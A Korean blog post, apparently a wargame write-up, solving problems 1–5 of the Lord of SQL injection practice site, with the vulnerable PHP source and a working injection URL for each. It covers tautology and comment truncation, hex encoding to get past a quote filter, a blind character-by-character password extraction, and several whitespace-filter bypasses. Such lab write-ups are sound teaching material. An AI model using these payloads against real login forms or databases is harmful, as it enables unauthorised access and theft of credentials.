Home Lord Of SQL (1번~5번)
Post
Cancel

Lord Of SQL (1번~5번)

SQL injection 관련 문제들을 모아놓은 Lord Of SQL 사이트이다.

https://los.rubiya.kr/

1~5번 푼 것을 정리하려고 한다.

1번 gremlin

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

간단하게 코드를 보면 preg_batch로 몇 개의 특수문자에 필터링이 걸려있다.
solve 조건은 id의 값이 존재하면 된다고 한다.

1번이기도 하니 간단하게 id=’ or 1=1 – 이렇게 넣어주면 id는 항상 참이 되므로 solve가 된다.
주석 뒤에는 %20과 같은 띄어쓰기가 들어감을 유의하면 좋다.

1
2
3
4
5
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=' or 1=1 -- 
->
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27or%201=1%20--%20

query : select id from prob_gremlin where id=''or 1=1 -- ' and pw=''

2번 cobolt

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

코드를 분석하면 아까와 같은 특수 문자를 필터링 하고, id와 pw를 받는다.
문제의 solve 조건은 id==admin 이므로 id에 admin을 넣은 뒤 뒤를 날려주면 된다.
PW에 대한 검증이 없기 때문에 간단하게 우회가 된다.

1
2
3
4
5
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin' --%20
->
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%20--%20

query : select id from prob_cobolt where id='admin' -- ' and pw=md5('')

3번 goblin

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

이번에는 no로 받은 값을 쿼리에 삽입하고, id==admin이어야 한다.
문제는 아까와 다른 필터링이 생겨서 ', " 등을 사용하지 못한다.

그러므로 우회 방법을 찾아야 하는데, 우선 no에 값을 넣었을 때

image

1은 hello guest를 하지만

image

2번은 아무런 반응이 없다.

이것으로 DB에 guest와 no=1이 참이라는 것을 알 수 있고, 이를 이용해 or을 사용해 id를 바꿀 수 있다.

1
2
3
https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2 or id=0x61646D696E 

query : select id from prob_goblin where id='guest' and no=2 or id=0x61646D696E

or는 앞에 있는 조건이 틀렸을 때 뒤를 수행하므로 일부러 앞을 틀리고 id에 admin을 넣어준다.
쿼터를 우회하기 위해서 hex값으로 넣어줬고, 이외에도 id=char(97, 100, 109, 105, 110) 와 같은 방법도 된다.

4번 orc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

result[id]가 참이면 hello admin을 출력한다.
그리고 solve 조건은 pw 파라미터에 값을 받고, pw가 참이며 result[pw]와 입력 받은 pw가 같아야한다고 한다.

이것은 딱 blind SQLi 기초 예제 같은 느낌이다.

1
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%201=1%20--%20

이렇게 pw 뒤에 참이 오면

image

Hello admin을 볼 수 있다.

그러면 비밀번호의 글자 수와 글자 한 글자씩을 쿼리문으로 뜯어온다.

1
and length(pw)=x 

구문을 통해서 길이를 구하고

1
param = {"pw" : "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {}}

처럼 substring을 이용해서 한 글자씩 브포를 통해 뜯어올 수가 있다.

요즘 익스 코드는 LLM이 훨씬 잘 짜주니까 어디서 터지는지, 무슨 구문이 터지는지만 확인하면 맡기는게 더 좋은 것 같다.

5번 wolfman

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

이번에는 공백이 되어있는데, 이는 우회하는 방법이 아주 많다.
/**/로 우회도 되고, tab, enter, and 연산 기호 등등
그리고 주석도 #을 통해서 하면 공백이 필요 없다.

1
2
3
4
5
6
7
8
9
10
11
12
13
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27||id=%27admin%27%09%26%26%091=1%23
-> query : select id from prob_wolfman where id='guest' and pw=''||id='admin' && 1=1#'

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27||id=%27admin%27/**/and/**/1=1%23
-> query : select id from prob_wolfman where id='guest' and pw=''||id='admin'/**/and/**/1=1#'

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27||id=%27admin%27%09and%091=1%23
-> query : select id from prob_wolfman where id='guest' and pw=''||id='admin' and 1=1#'

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27||id=%27admin%27%0aand%0a1=1%23
-> query : select id from prob_wolfman where id='guest' and pw=''||id='admin' and 1=1#'

line feed %0a, vertical tab %0b, form feed %0c, carriage return %0d

이렇게 많은 방법으로 풀 수 있고 \&기호로 넣으면 URL이 깨지므로 %26으로 넣어줘야 한다.

This post is written by PRO.